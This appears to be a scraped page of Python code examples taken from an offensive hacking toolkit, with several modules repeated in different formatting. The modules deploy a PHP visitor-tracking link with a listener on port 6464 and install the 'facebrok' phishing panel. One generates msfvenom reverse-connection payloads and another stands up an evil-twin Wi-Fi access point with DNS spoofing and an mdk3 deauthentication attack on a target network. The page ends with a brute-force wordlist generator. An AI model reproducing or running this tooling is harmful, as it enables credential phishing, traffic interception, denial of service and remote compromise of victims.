示例#1
0
def main(run):
	printAlert(0,"Setting files                           "+status_cmd('mkdir -p '+PATCH_WWW+'r/ ; echo "<?php \$url=\'http://'+init.var['to_url']+'\';\$javascript=\''+init.var['enable']+'\';?>" > '+PATCH_WWW+'r/appconfig.php & echo '))
	printAlert(0,"Coping files to server                  "+status_cmd("cp files/getdatareport/* "+PATCH_WWW+"r/"))
	printAlert(0,"Giving privileges to files              "+status_cmd("chmod -R 777 "+PATCH_WWW+"r"))
	printAlert(0,"Starting Apache Server                  "+status_cmd("service apache2 start"))
	printAlert(0,"Starting Script Server                  "+status_cmd("sudo fuser -kuv 6464/tcp > null"))

	Space()
	printAlert(7,"HOT-Link http://127.0.0.1/r/link.php?lKsm#s92Sa")
	printAlert(0,"to stop the module press "+colors[13]+"[Ctrl+c]"+colors[0])
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind(("", 6464))
	server.listen(1)
	printAlert(6,"Waiting bees...")
	try:
		while 1:
			socket_cliente, datos_cliente = server.accept()
			printAlert(3,"beed: "+str(datos_cliente))
			hilo = Cliente(socket_cliente, datos_cliente)
			hilo.start()
	except:
		printAlert(0,"Stoping Process")
		printAlert(0,"Removing files                          "+status_cmd("rm "+PATCH_WWW+"r/link.php "+PATCH_WWW+"r/appconfig.php "+PATCH_WWW+"r/GetdataReport.Plugin.php"))
		printAlert(0,"Stoping Apache                          "+status_cmd("service apache2 stop"))
		server.close()
		Space()
示例#2
0
def main(run):

	printAlert(0,"Installing facebrok project in local server")
	printAlert(0,"Coping files to server            "+status_cmd("cp -R files/facebrok/* "+PATCH_WWW))
	printAlert(0,"Giving privileges to files        "+status_cmd("chmod -R 777 "+PATCH_WWW+"croak/"))
	printAlert(0,"Starting Apache Server            "+status_cmd("service apache2 start"))
	printAlert(0,"Starting Mysql Server             "+status_cmd("service mysql start"))
	printAlert(0,"Installing facebrok               "+status_cmd('cd tmp;wget -b -nv --post-data "server=127.0.0.1&user='******'u_sql']+'&pass='******'p_sql']+'&data=facebrok&userp=fbrok&passp=fbrok" 127.0.0.1/croak/install/startgame.php'))
	Space()
	printAlert(7,"Control Panel in http://127.0.0.1/croak/ With: user[fbrok] pass[fbrok]")
	raw_input(printAlert(8,"Press [ENTER] key for Stop facebrok"))
	printAlert(0,"Stoping Process")
	printAlert(0,"Removing files                    "+status_cmd("rm -R "+PATCH_WWW+"*"))
	printAlert(0,"Stoping Apache                    "+status_cmd("service apache2 stop"))
	printAlert(0,"Stoping Mysql                     "+status_cmd("service mysql stop"))

# END CODE MODULE ############################################################################################
示例#3
0
def main(run):

    printAlert(0, "Checking : " + CheckProjectInstalled("msfvenom"))
    printAlert(6, "Wait, msfvenom working...")
    secuence = "msfvenom"
    secuence += " -a " + init.var['arch']
    secuence += " --platform " + init.var['platform']
    secuence += " -p " + init.var['payload'] + " LHOST=" + init.var[
        'host'] + " LPORT=" + init.var['port']
    secuence += " -e " + init.var['encoder']
    secuence += " -i " + init.var['iterations']
    secuence += " -f " + init.var['format']
    secuence += " -o " + init.var['output']
    secuence += " -b '" + init.var['badchars'] + "'"
    printAlert(0, "Generating Payload\t\t\t\t\t" + status_cmd(secuence))
    Space()
示例#4
0
def main(run):
    printAlert(
        0, "Setting files                           " +
        status_cmd('mkdir -p ' + PATCH_WWW +
                   'r/ ; echo "<?php \$url=\'http://' + init.var['to_url'] +
                   '\';\$javascript=\'' + init.var['enable'] + '\';?>" > ' +
                   PATCH_WWW + 'r/appconfig.php & echo '))
    printAlert(
        0, "Coping files to server                  " +
        status_cmd("cp files/getdatareport/* " + PATCH_WWW + "r/"))
    printAlert(
        0, "Giving privileges to files              " +
        status_cmd("chmod -R 777 " + PATCH_WWW + "r"))
    printAlert(
        0, "Starting Apache Server                  " +
        status_cmd("service apache2 start"))
    printAlert(
        0, "Starting Script Server                  " +
        status_cmd("sudo fuser -kuv 6464/tcp > null"))

    Space()
    printAlert(7, "HOT-Link http://127.0.0.1/r/link.php?lKsm#s92Sa")
    printAlert(
        0, "to stop the module press " + colors[13] + "[Ctrl+c]" + colors[0])
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(("", 6464))
    server.listen(1)
    printAlert(6, "Waiting bees...")
    try:
        while 1:
            socket_cliente, datos_cliente = server.accept()
            printAlert(3, "beed: " + str(datos_cliente))
            hilo = Cliente(socket_cliente, datos_cliente)
            hilo.start()
    except:
        printAlert(0, "Stoping Process")
        printAlert(
            0, "Removing files                          " +
            status_cmd("rm " + PATCH_WWW + "r/link.php " + PATCH_WWW +
                       "r/appconfig.php " + PATCH_WWW +
                       "r/GetdataReport.Plugin.php"))
        printAlert(
            0, "Stoping Apache                          " +
            status_cmd("service apache2 stop"))
        server.close()
        Space()
示例#5
0
def main(run):

    printAlert(0, "Installing facebrok project in local server")
    printAlert(
        0, "Coping files to server            " +
        status_cmd("cp -R files/facebrok/* " + PATCH_WWW))
    printAlert(
        0, "Giving privileges to files        " +
        status_cmd("chmod -R 777 " + PATCH_WWW + "croak/"))
    printAlert(
        0, "Starting Apache Server            " +
        status_cmd("service apache2 start"))
    printAlert(
        0, "Starting Mysql Server             " +
        status_cmd("service mysql start"))
    printAlert(
        0, "Installing facebrok               " + status_cmd(
            'cd tmp;wget -b -nv --post-data "server=127.0.0.1&user='******'u_sql'] + '&pass='******'p_sql'] +
            '&data=facebrok&userp=fbrok&passp=fbrok" 127.0.0.1/croak/install/startgame.php'
        ))
    Space()
    printAlert(
        7,
        "Control Panel in http://127.0.0.1/croak/ With: user[fbrok] pass[fbrok]"
    )
    raw_input(printAlert(8, "Press [ENTER] key for Stop facebrok"))
    printAlert(0, "Stoping Process")
    printAlert(
        0, "Removing files                    " +
        status_cmd("rm -R " + PATCH_WWW + "*"))
    printAlert(
        0, "Stoping Apache                    " +
        status_cmd("service apache2 stop"))
    printAlert(
        0, "Stoping Mysql                     " +
        status_cmd("service mysql stop"))


# END CODE MODULE ############################################################################################
示例#6
0
def main(run):
	if CheckAPmode():
		Loadingfile(init.var['template'])
		process=commands.getoutput("airmon-ng check $INTERFACE | tail -n +8 | grep -v \"on interface\" | awk '{ print $2 }'")
		printAlert(0,"Killing proccess on interface")
		process=process.split("\n")
		for p in process:
			commands.getoutput("kilall "+p)

		rangos=init.var['ip_range'].split(".")
		rango=rangos[0]+"."+rangos[1]+"."+rangos[3]+".1"
		rangov=rangos[0]+"."+rangos[1]+"."+rangos[3]

		printAlert(0,"Setting tables ["+rango+"]")
		commands.getoutput("ifconfig "+init.var['drive']+" up")
		commands.getoutput("ifconfig "+init.var['drive']+" "+init.var['ip_range']+" netmask 255.255.255.0")
		commands.getoutput("route add -net "+rango+" netmask 255.255.255.0 gw "+init.var['ip_range'])
		commands.getoutput("echo \"1\" > /proc/sys/net/ipv4/ip_forward")
		commands.getoutput("iptables --flush")
		commands.getoutput("iptables --table nat --flush")
		commands.getoutput("iptables --delete-chain")
		commands.getoutput("iptables --table nat --delete-chain")
		commands.getoutput("iptables -P FORWARD ACCEPT")
		commands.getoutput("iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination "+init.var['ip_range']+":80")
		commands.getoutput("iptables -t nat -A POSTROUTING -j MASQUERADE")
		commands.getoutput("echo interface="+init.var['drive']+"  > tmp/hostapd.conf")
		commands.getoutput("echo driver=nl80211                  >> tmp/hostapd.conf")
		commands.getoutput("echo ssid="+init.var['essid']+"      >> tmp/hostapd.conf")
		commands.getoutput("echo channel="+init.var['channel']+" >> tmp/hostapd.conf")

		commands.getoutput("echo authoritative\;> tmp/dhcpd.config")
		commands.getoutput("echo default-lease-time 600\;>> tmp/dhcpd.config")
		commands.getoutput("echo max-lease-time 7200\;>> tmp/dhcpd.config")
		commands.getoutput("echo subnet "+rangov+".0 netmask 255.255.255.0 { >> tmp/dhcpd.config")
		commands.getoutput("echo option broadcast-address "+rangov+".255\;>> tmp/dhcpd.config")
		commands.getoutput("echo option routers "+rango+"\;>> tmp/dhcpd.config")
		commands.getoutput("echo option subnet-mask 255.255.255.0\;>> tmp/dhcpd.config")
		commands.getoutput("echo option domain-name-servers "+rango+"\;>> tmp/dhcpd.config")
		commands.getoutput("echo range "+rangov+".100 "+rangov+".250\;>> tmp/dhcpd.config")
		commands.getoutput("echo }>> tmp/dhcpd.config")
		commands.getoutput("echo "+init.var['bssid']+" > tmp/target.log")

		printAlert(0,"Starting Apache Server                   "+status_cmd("service apache2 start"))
		printAlert(0,"Coping Files to Server                   "+status_cmd("cp -r "+init.var['template']+"* "+PATCH_WWW))
		printAlert(0,"Starting Access Point ["+init.var['essid']+"]")
		Subprocess("hostapd tmp/hostapd.conf")
		time.sleep(3)
		printAlert(0,"Starting DHCP server")
		Subprocess("dhcpd -d -f -cf tmp/dhcpd.config")
		time.sleep(3)
		printAlert(0,"Starting DOS attack to "+init.var['bssid'])
		Subprocess("mdk3 "+init.var['driveMon']+" d -b tmp/target.log -c "+init.var['channel'])
		print(printAlert(8,"(PRESS Ctrol+C) to stop Attack"))
		DNSFAKE()
		commands.getoutput("killall dhcpd")
		commands.getoutput("killall hostapd")
		commands.getoutput("killall mdk3")
		commands.getoutput("service NetworkManager start")
		commands.getoutput("iptables --flush")
		commands.getoutput("iptables --table nat --flush")
		commands.getoutput("iptables --delete-chain")
		commands.getoutput("iptables --table nat --delete-chain")
		for p in process:
			commands.getoutput("service "+p+" start")

		printAlert(0,"Removing files                           "+status_cmd("rm -r "+PATCH_WWW+"* ; rm tmp/hostapd.conf; rm tmp/dhcpd.config; rm tmp/target.log"))
		printAlert(0,"Stoping Apache Server                    "+status_cmd("service apache2 stop"))
		Space()
def main(run):

    if init.var['charset'] != "chars_min" and init.var[
            'charset'] != "chars_may" and init.var[
                'charset'] != "chars_num" and init.var[
                    'charset'] != "chars_mix":
        printAlert(
            1,
            "Error to set chars, use chars_min, chars_mix, chars_may or chars_num"
        )
        init.var['charset'] = "chars_num"
        return

    Maxima = 1
    long_max = long(init.var['longited'])
    long_min = long(init.var['longited'])
    char_null = ['']
    chars_min = [
        'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'
    ]
    chars_may = [
        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
        'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'
    ]
    chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
    chars_spe = ['.', '-', '_', '/', '@']
    permitidos = []
    permitidos += char_null
    if init.var['charset'] == "chars_num":
        permitidos += chars_num
    if init.var['charset'] == "chars_may":
        permitidos += chars_may
    if init.var['charset'] == "chars_min":
        permitidos += chars_min
    if init.var['charset'] == "chars_mix":
        permitidos += chars_min
        permitidos += chars_num
    total_chars = len(permitidos)
    char_n_max = total_chars - 1
    cadena = []
    for chars in range(0, long_max):
        cadena += [0]
    for i in range(1, long_min + 1):
        cadena[-(i)] = 1
    cadena_max = []
    for chars in range(0, long_max):
        cadena_max += [total_chars - 1]

    def toClave(cadena1):
        password = ""
        for indice in cadena1:
            password += permitidos[indice]
        return password

    def isMax(cadena1):
        if toClave(cadena1) != toClave(cadena_max):
            return False
        return True

    def aumentarCadena(cadena1):
        unidad = 1
        acarreo = 0
        for digito in range(1, long_max + 1):
            if cadena[-(digito)] < char_n_max:
                if unidad == 1:
                    cadena[-(digito)] += 1
                    unidad = 0
                    return cadena1
                elif acarreo == 1:
                    cadena[-(digito)] += 1
                    acarreo = 0
                    return cadena1
            else:
                cadena[-(digito)] = 1
                acarreo = 1
        return cadena1

    for number_total in cadena_max:
        Maxima = Maxima * number_total
    procent = int(Maxima) / 10
    counter = 0
    porcent = 0
    printAlert(
        0,
        "Creating file...      " + status_cmd("echo  >" + init.var['output']))
    printAlert(
        0, "Generating... [" + str(Maxima) + "] Words to Generate " +
        str(porcent) + "% Complete")
    fichero = open(init.var['output'], 'w')
    bucle = True
    while bucle:
        password = toClave(cadena)
        fichero.write(password + '\n')
        counter = counter + 1
        if procent == counter:
            procent = procent + procent
            porcent = porcent + 20
            printAlert(0, str(porcent) + "% Porcent Complete")
        if isMax(cadena):
            porcent = porcent + 20
            printAlert(0, str(porcent) + "% Porcent Complete")
            bucle = False
        cadena = aumentarCadena(cadena)
    printAlert(3, "Completed, output file in " + init.var['output'])
    Space()
    fichero.close()
def main(run):

	if init.var['charset'] != "chars_min" and init.var['charset'] != "chars_may" and init.var['charset'] != "chars_num" and init.var['charset'] != "chars_mix":
			printAlert(1,"Error to set chars, use chars_min, chars_mix, chars_may or chars_num")
			init.var['charset']="chars_num"
			return

	Maxima=1
	long_max = long(init.var['longited']) 
	long_min = long(init.var['longited'])
	char_null = ['']
	chars_min = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']
	chars_may = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
	chars_num = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
	chars_spe = ['.', '-', '_', '/', '@']
	permitidos = []
	permitidos += char_null
	if init.var['charset'] == "chars_num":
		permitidos += chars_num
	if init.var['charset'] == "chars_may":
		permitidos += chars_may
	if init.var['charset'] == "chars_min":
		permitidos += chars_min
	if init.var['charset'] == "chars_mix":
		permitidos +=chars_min
		permitidos +=chars_num
	total_chars = len(permitidos)
	char_n_max = total_chars - 1
	cadena = []
	for chars in range(0, long_max):
		cadena += [0]
	for i in range (1, long_min+1):
		cadena[-(i)] = 1
	cadena_max = []
	for chars in range(0, long_max):
		cadena_max += [ total_chars -1 ]

	def toClave(cadena1):
		password = ""
		for indice in cadena1:
			password += permitidos[indice]
		return password
	def isMax(cadena1):
		if toClave(cadena1) != toClave(cadena_max):
			return False
		return True
	def aumentarCadena(cadena1):
		unidad = 1
		acarreo = 0
		for digito in range(1,long_max +1):
			if cadena[-(digito)] < char_n_max:
				if unidad == 1:
					cadena[-(digito)] += 1
					unidad = 0
					return cadena1
				elif acarreo == 1:
					cadena[-(digito)] += 1
					acarreo = 0
					return cadena1
			else: 
				cadena[-(digito)] = 1
				acarreo = 1
		return cadena1
	for number_total in cadena_max:
		Maxima=Maxima*number_total
	procent=int(Maxima)/10
	counter=0
	porcent=0
	printAlert(0,"Creating file...      "+status_cmd("echo  >"+init.var['output']))
	printAlert(0,"Generating... ["+str(Maxima)+"] Words to Generate "+str(porcent)+"% Complete")
	fichero = open(init.var['output'], 'w')
	bucle = True
	while bucle:
	    password = toClave(cadena)
	    fichero.write(password + '\n')
	    counter=counter+1
	    if procent == counter:
	    	procent=procent+procent
	    	porcent=porcent+20
	    	printAlert(0,str(porcent)+"% Porcent Complete")
	    if isMax(cadena):
	    	porcent=porcent+20
	    	printAlert(0,str(porcent)+"% Porcent Complete")
	    	bucle = False
	    cadena = aumentarCadena(cadena)
	printAlert(3,"Completed, output file in "+init.var['output'])
	Space()
	fichero.close()